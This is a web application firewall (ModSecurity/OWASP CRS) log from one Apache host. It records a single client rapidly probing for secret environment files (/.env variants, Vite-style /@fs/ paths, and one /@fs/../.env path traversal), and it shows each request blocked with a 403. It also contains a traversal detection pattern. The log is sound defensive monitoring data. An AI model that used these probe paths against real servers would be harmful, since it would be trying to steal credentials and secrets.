[Sun Oct 25 22:08:53.232932 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NcINuYGcKPT7MqENUAAAACQ"]
[Sun Oct 25 22:08:53.233633 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NQVMbcT9KgS5Oi2M-QAAAA0"]
[Sun Oct 25 22:08:53.233728 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NQVMbcT9KgS5Oi2M-QAAAA0"]
[Sun Oct 25 22:08:53.234144 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NQVMbcT9KgS5Oi2M-QAAAA0"]
[Sun Oct 25 22:08:53.234379 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NQVMbcT9KgS5Oi2M-QAAAA0"]
[Sun Oct 25 22:08:53.249380 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at62NZOM_hg2_5C4qplHfwAAAC4"]
[Sun Oct 25 22:08:53.249778 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at62NZOM_hg2_5C4qplHfwAAAC4"]
[Sun Oct 25 22:08:53.250025 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at62NZOM_hg2_5C4qplHfwAAAC4"]
[Sun Oct 25 22:08:53.293944 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at62NT23lTe6Xv-mctsOBgAAACs"]
[Sun Oct 25 22:08:53.456439 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at62NT23lTe6Xv-mctsOBgAAACs"]
[Sun Oct 25 22:08:53.457000 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at62NT23lTe6Xv-mctsOBgAAACs"]
[Sun Oct 25 22:08:53.458643 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NVKNdIrfpEod-HqEDwAAACo"]
[Sun Oct 25 22:08:53.459051 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NVKNdIrfpEod-HqEDwAAACo"]
[Sun Oct 25 22:08:53.459278 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NVKNdIrfpEod-HqEDwAAACo"]
[Sun Oct 25 22:08:53.294771 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NVDKe3Jk6NXMvqM5OQAAAB0"]
[Sun Oct 25 22:08:53.480615 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NVDKe3Jk6NXMvqM5OQAAAB0"]
[Sun Oct 25 22:08:53.480921 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NVDKe3Jk6NXMvqM5OQAAAB0"]
[Sun Oct 25 22:08:53.515662 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NZOM_hg2_5C4qplHgAAAAC4"]
[Sun Oct 25 22:08:53.516124 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NZOM_hg2_5C4qplHgAAAAC4"]
[Sun Oct 25 22:08:53.516470 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NZOM_hg2_5C4qplHgAAAAC4"]
[Sun Oct 25 22:08:53.533308 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62NcqAWG0KXU7cDUAgTQAAACY"]
[Sun Oct 25 22:08:53.533795 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62NcqAWG0KXU7cDUAgTQAAACY"]
[Sun Oct 25 22:08:53.534029 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62NcqAWG0KXU7cDUAgTQAAACY"]
[Sun Oct 25 22:08:53.579019 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62NRaKu-Zjs56a5J4sFgAAAAo"]
[Sun Oct 25 22:08:53.582514 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62NRaKu-Zjs56a5J4sFgAAAAo"]
[Sun Oct 25 22:08:53.582789 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62NRaKu-Zjs56a5J4sFgAAAAo"]
[Sun Oct 25 22:08:53.610263 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at62NV2gI0wACY59VBumRwAAACA"]
[Sun Oct 25 22:08:53.632113 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at62NV2gI0wACY59VBumRwAAACA"]
[Sun Oct 25 22:08:53.632494 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at62NV2gI0wACY59VBumRwAAACA"]
[Sun Oct 25 22:08:53.663068 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NQo4OiAv7EzdRZ1MFAAAABI"]
[Sun Oct 25 22:08:53.663510 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NQo4OiAv7EzdRZ1MFAAAABI"]
[Sun Oct 25 22:08:53.663739 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NQo4OiAv7EzdRZ1MFAAAABI"]
[Sun Oct 25 22:08:53.674863 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NTbTjnVH12qwK530ggAAABw"]
[Sun Oct 25 22:08:53.675219 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NTbTjnVH12qwK530ggAAABw"]
[Sun Oct 25 22:08:53.675351 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at62NQVMbcT9KgS5Oi2M-gAAAA0"]
[Sun Oct 25 22:08:53.675492 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62NTbTjnVH12qwK530ggAAABw"]
[Sun Oct 25 22:08:53.675642 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at62NQVMbcT9KgS5Oi2M-gAAAA0"]
[Sun Oct 25 22:08:53.675844 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40604] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at62NQVMbcT9KgS5Oi2M-gAAAA0"]
